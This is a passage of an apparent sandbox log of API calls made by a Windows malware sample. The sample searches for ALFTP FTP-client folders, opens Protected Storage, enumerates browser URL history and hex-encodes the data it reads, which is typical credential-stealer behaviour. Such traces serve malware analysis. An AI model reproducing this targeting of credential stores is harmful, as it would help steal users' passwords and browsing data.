returned 0xffffffff [0071.158] LocalFree (hMem=0x6474f8) returned 0x0 [0071.158] LocalFree (hMem=0x647440) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.159] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.159] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.159] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.159] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0071.159] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0071.159] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x2e, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.159] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.159] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.159] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.159] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647440 [0071.159] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.159] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" [0071.159] LocalFree (hMem=0x626a88) returned 0x0 [0071.159] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned 46 [0071.159] lstrlenA (lpString="\\*.*") returned 4 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.159] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" [0071.159] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*" [0071.159] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.159] LocalFree (hMem=0x643aa8) returned 0x0 [0071.159] LocalFree (hMem=0x647440) returned 0x0 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.159] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0071.159] lstrlenA (lpString="C:\\ProgramData") returned 14 [0071.159] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x65e350 [0071.159] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0071.159] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP") returned="C:\\ProgramData\\Estsoft\\ALFTP" [0071.159] LocalFree (hMem=0x626a88) returned 0x0 [0071.159] lstrlenA (lpString="C:\\ProgramData\\Estsoft\\ALFTP") returned 28 [0071.159] lstrlenA (lpString="\\*.*") returned 4 [0071.159] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0071.159] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\Estsoft\\ALFTP" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP") returned="C:\\ProgramData\\Estsoft\\ALFTP" [0071.160] lstrcatA (in: lpString1="C:\\ProgramData\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP\\*.*") returned="C:\\ProgramData\\Estsoft\\ALFTP\\*.*" [0071.160] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.160] LocalFree (hMem=0x6292f8) returned 0x0 [0071.160] LocalFree (hMem=0x65e350) returned 0x0 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.160] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0071.160] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0071.160] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647440 [0071.160] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0071.160] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" [0071.160] LocalFree (hMem=0x626a88) returned 0x0 [0071.160] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned 44 [0071.160] lstrlenA (lpString="\\*.*") returned 4 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.160] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" [0071.160] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*" [0071.160] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.160] LocalFree (hMem=0x643aa8) returned 0x0 [0071.160] LocalFree (hMem=0x647440) returned 0x0 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.160] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0071.160] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0071.160] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647440 [0071.160] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0071.160] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" [0071.160] LocalFree (hMem=0x626a88) returned 0x0 [0071.160] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned 46 [0071.160] lstrlenA (lpString="\\*.*") returned 4 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0071.160] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP" [0071.160] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*" [0071.160] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.160] LocalFree (hMem=0x643aa8) returned 0x0 [0071.160] LocalFree (hMem=0x647440) returned 0x0 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.160] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0071.160] lstrlenA (lpString="C:\\ProgramData") returned 14 [0071.160] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.160] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x65e350 [0071.160] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0071.160] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP") returned="C:\\ProgramData\\Estsoft\\ALFTP" [0071.160] LocalFree (hMem=0x626a88) returned 0x0 [0071.160] lstrlenA (lpString="C:\\ProgramData\\Estsoft\\ALFTP") returned 28 [0071.160] lstrlenA (lpString="\\*.*") returned 4 [0071.161] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0071.161] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData\\Estsoft\\ALFTP" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP") returned="C:\\ProgramData\\Estsoft\\ALFTP" [0071.161] lstrcatA (in: lpString1="C:\\ProgramData\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\Estsoft\\ALFTP\\*.*") returned="C:\\ProgramData\\Estsoft\\ALFTP\\*.*" [0071.161] FindFirstFileA (in: lpFileName="C:\\ProgramData\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.161] LocalFree (hMem=0x6292f8) returned 0x0 [0071.161] LocalFree (hMem=0x65e350) returned 0x0 [0071.161] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0071.161] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0071.161] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0071.161] lstrlenA (lpString="\\Estsoft\\ALFTP") returned 14 [0071.161] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647440 [0071.161] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0071.161] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" [0071.161] LocalFree (hMem=0x626a88) returned 0x0 [0071.161] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned 44 [0071.161] lstrlenA (lpString="\\*.*") returned 4 [0071.161] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.161] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP" [0071.161] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*" [0071.161] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Estsoft\\ALFTP\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0071.161] LocalFree (hMem=0x643aa8) returned 0x0 [0071.161] LocalFree (hMem=0x647440) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.161] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.161] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.161] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0071.161] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0071.161] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x2f, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0071.161] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0071.161] PStoreCreateInstance () returned 0x0 [0076.172] CoCreateInstance (in: rclsid=0x4162bf*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x4162cf*(Data1=0x3c374a41, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), ppv=0x12fed8 | out: ppv=0x12fed8*=0x65d330) returned 0x0 [0077.888] IUrlHistoryStg:EnumUrls (in: This=0x65d330, ppenum=0x12fed4 | out: ppenum=0x12fed4*=0x64f448) returned 0x0 [0077.905] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/ojw9L.jpg", lpSrch="?") returned 0x0 [0077.905] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Desktop/i2yGz/cJApU0d7_RSkgxX-ms/ojw9L.jpg") returned 67 [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5A") returned 2 [0077.906] lstrlenA (lpString="") returned 0 [0077.906] lstrlenA (lpString="5A") returned 2 [0077.906] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x6525f0 [0077.906] lstrcpyA (in: lpString1=0x6525f0, lpString2="" | out: lpString1="") returned="" [0077.906] lstrcatA (in: lpString1="", lpString2="5A" | out: lpString1="5A") returned="5A" [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="59") returned 2 [0077.906] lstrlenA (lpString="5A") returned 2 [0077.906] lstrlenA (lpString="59") returned 2 [0077.906] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x652680 [0077.906] lstrcpyA (in: lpString1=0x652680, lpString2="5A" | out: lpString1="5A") returned="5A" [0077.906] lstrcatA (in: lpString1="5A", lpString2="59" | out: lpString1="5A59") returned="5A59" [0077.906] LocalFree (hMem=0x6525f0) returned 0x0 [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0077.906] lstrlenA (lpString="5A59") returned 4 [0077.906] lstrlenA (lpString="00") returned 2 [0077.906] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x6525f0 [0077.906] lstrcpyA (in: lpString1=0x6525f0, lpString2="5A59" | out: lpString1="5A59") returned="5A59" [0077.906] lstrcatA (in: lpString1="5A59", lpString2="00" | out: lpString1="5A5900") returned="5A5900" [0077.906] LocalFree (hMem=0x652680) returned 0x0 [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="48") returned 2 [0077.906] lstrlenA (lpString="5A5900") returned 6 [0077.906] lstrlenA (lpString="48") returned 2 [0077.906] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x652680 [0077.906] lstrcpyA (in: lpString1=0x652680, lpString2="5A5900" | out: lpString1="5A5900") returned="5A5900" [0077.906] lstrcatA (in: lpString1="5A5900", lpString2="48" | out: lpString1="5A590048") returned="5A590048" [0077.906] LocalFree (hMem=0x6525f0) returned 0x0 [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0077.906] lstrlenA (lpString="5A590048") returned 8 [0077.906] lstrlenA (lpString="9C") returned 2 [0077.906] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x652718 [0077.906] lstrcpyA (in: lpString1=0x652718, lpString2="5A590048" | out: lpString1="5A590048") returned="5A590048" [0077.906] lstrcatA (in: lpString1="5A590048", lpString2="9C" | out: lpString1="5A5900489C") returned="5A5900489C" [0077.906] LocalFree (hMem=0x652680) returned 0x0 [0077.906] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="42") returned 2 [0077.907] lstrlenA (lpString="5A5900489C") returned 10 [0077.907] lstrlenA (lpString="42") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6525f0 [0077.907] lstrcpyA (in: lpString1=0x6525f0, lpString2="5A5900489C" | out: lpString1="5A5900489C") returned="5A5900489C" [0077.907] lstrcatA (in: lpString1="5A5900489C", lpString2="42" | out: lpString1="5A5900489C42") returned="5A5900489C42" [0077.907] LocalFree (hMem=0x652718) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="36") returned 2 [0077.907] lstrlenA (lpString="5A5900489C42") returned 12 [0077.907] lstrlenA (lpString="36") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x652688 [0077.907] lstrcpyA (in: lpString1=0x652688, lpString2="5A5900489C42" | out: lpString1="5A5900489C42") returned="5A5900489C42" [0077.907] lstrcatA (in: lpString1="5A5900489C42", lpString2="36" | out: lpString1="5A5900489C4236") returned="5A5900489C4236" [0077.907] LocalFree (hMem=0x6525f0) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="91") returned 2 [0077.907] lstrlenA (lpString="5A5900489C4236") returned 14 [0077.907] lstrlenA (lpString="91") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x652720 [0077.907] lstrcpyA (in: lpString1=0x652720, lpString2="5A5900489C4236" | out: lpString1="5A5900489C4236") returned="5A5900489C4236" [0077.907] lstrcatA (in: lpString1="5A5900489C4236", lpString2="91" | out: lpString1="5A5900489C423691") returned="5A5900489C423691" [0077.907] LocalFree (hMem=0x652688) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0077.907] lstrlenA (lpString="5A5900489C423691") returned 16 [0077.907] lstrlenA (lpString="45") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x6525f0 [0077.907] lstrcpyA (in: lpString1=0x6525f0, lpString2="5A5900489C423691" | out: lpString1="5A5900489C423691") returned="5A5900489C423691" [0077.907] lstrcatA (in: lpString1="5A5900489C423691", lpString2="45" | out: lpString1="5A5900489C42369145") returned="5A5900489C42369145" [0077.907] LocalFree (hMem=0x652720) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1C") returned 2 [0077.907] lstrlenA (lpString="5A5900489C42369145") returned 18 [0077.907] lstrlenA (lpString="1C") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x652690 [0077.907] lstrcpyA (in: lpString1=0x652690, lpString2="5A5900489C42369145" | out: lpString1="5A5900489C42369145") returned="5A5900489C42369145" [0077.907] lstrcatA (in: lpString1="5A5900489C42369145", lpString2="1C" | out: lpString1="5A5900489C423691451C") returned="5A5900489C423691451C" [0077.907] LocalFree (hMem=0x6525f0) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="94") returned 2 [0077.907] lstrlenA (lpString="5A5900489C423691451C") returned 20 [0077.907] lstrlenA (lpString="94") returned 2 [0077.907] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x6525f0 [0077.907] lstrcpyA (in: lpString1=0x6525f0, lpString2="5A5900489C423691451C" | out: lpString1="5A5900489C423691451C") returned="5A5900489C423691451C" [0077.907] lstrcatA (in: lpString1="5A5900489C423691451C", lpString2="94" | out: lpString1="5A5900489C423691451C94") returned="5A5900489C423691451C94" [0077.907] LocalFree (hMem=0x652690) returned 0x0 [0077.907] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F9") returned 2 [0077.907] lstrlenA (lpString="5A5900489C423691451C94") returned 22 [0077.907] lstrlenA (lpString="F9") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652690 [0077.908] lstrcpyA (in: lpString1=0x652690, lpString2="5A5900489C423691451C94" | out: lpString1="5A5900489C423691451C94") returned="5A5900489C423691451C94" [0077.908] lstrcatA (in: lpString1="5A5900489C423691451C94", lpString2="F9" | out: lpString1="5A5900489C423691451C94F9") returned="5A5900489C423691451C94F9" [0077.908] LocalFree (hMem=0x6525f0) returned 0x0 [0077.908] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CF") returned 2 [0077.908] lstrlenA (lpString="5A5900489C423691451C94F9") returned 24 [0077.908] lstrlenA (lpString="CF") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652738 [0077.908] lstrcpyA (in: lpString1=0x652738, lpString2="5A5900489C423691451C94F9" | out: lpString1="5A5900489C423691451C94F9") returned="5A5900489C423691451C94F9" [0077.908] lstrcatA (in: lpString1="5A5900489C423691451C94F9", lpString2="CF" | out: lpString1="5A5900489C423691451C94F9CF") returned="5A5900489C423691451C94F9CF" [0077.908] LocalFree (hMem=0x652690) returned 0x0 [0077.908] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8F") returned 2 [0077.908] lstrlenA (lpString="5A5900489C423691451C94F9CF") returned 26 [0077.908] lstrlenA (lpString="8F") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x6525f0 [0077.908] lstrcpyA (in: lpString1=0x6525f0, lpString2="5A5900489C423691451C94F9CF" | out: lpString1="5A5900489C423691451C94F9CF") returned="5A5900489C423691451C94F9CF" [0077.908] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF", lpString2="8F" | out: lpString1="5A5900489C423691451C94F9CF8F") returned="5A5900489C423691451C94F9CF8F" [0077.908] LocalFree (hMem=0x652738) returned 0x0 [0077.908] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C5") returned 2 [0077.908] lstrlenA (lpString="5A5900489C423691451C94F9CF8F") returned 28 [0077.908] lstrlenA (lpString="C5") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652698 [0077.908] lstrcpyA (in: lpString1=0x652698, lpString2="5A5900489C423691451C94F9CF8F" | out: lpString1="5A5900489C423691451C94F9CF8F") returned="5A5900489C423691451C94F9CF8F" [0077.908] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8F", lpString2="C5" | out: lpString1="5A5900489C423691451C94F9CF8FC5") returned="5A5900489C423691451C94F9CF8FC5" [0077.908] LocalFree (hMem=0x6525f0) returned 0x0 [0077.908] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F6") returned 2 [0077.908] lstrlenA (lpString="5A5900489C423691451C94F9CF8FC5") returned 30 [0077.908] lstrlenA (lpString="F6") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.908] lstrcpyA (in: lpString1=0x6292f8, lpString2="5A5900489C423691451C94F9CF8FC5" | out: lpString1="5A5900489C423691451C94F9CF8FC5") returned="5A5900489C423691451C94F9CF8FC5" [0077.908] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5", lpString2="F6" | out: lpString1="5A5900489C423691451C94F9CF8FC5F6") returned="5A5900489C423691451C94F9CF8FC5F6" [0077.908] LocalFree (hMem=0x652698) returned 0x0 [0077.908] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="42") returned 2 [0077.908] lstrlenA (lpString="5A5900489C423691451C94F9CF8FC5F6") returned 32 [0077.908] lstrlenA (lpString="42") returned 2 [0077.908] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.909] lstrcpyA (in: lpString1=0x6293a8, lpString2="5A5900489C423691451C94F9CF8FC5F6" | out: lpString1="5A5900489C423691451C94F9CF8FC5F6") returned="5A5900489C423691451C94F9CF8FC5F6" [0077.909] lstrcatA (in: lpString1="5A5900489C423691451C94F9CF8FC5F6", lpString2="42" | out: lpString1="5A5900489C423691451C94F9CF8FC5F642") returned="5A5900489C423691451C94F9CF8FC5F642" [0077.909] LocalFree (hMem=0x6292f8) returned 0x0 [0077.909] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AA") returned 2 [0077.909] lstrlenA 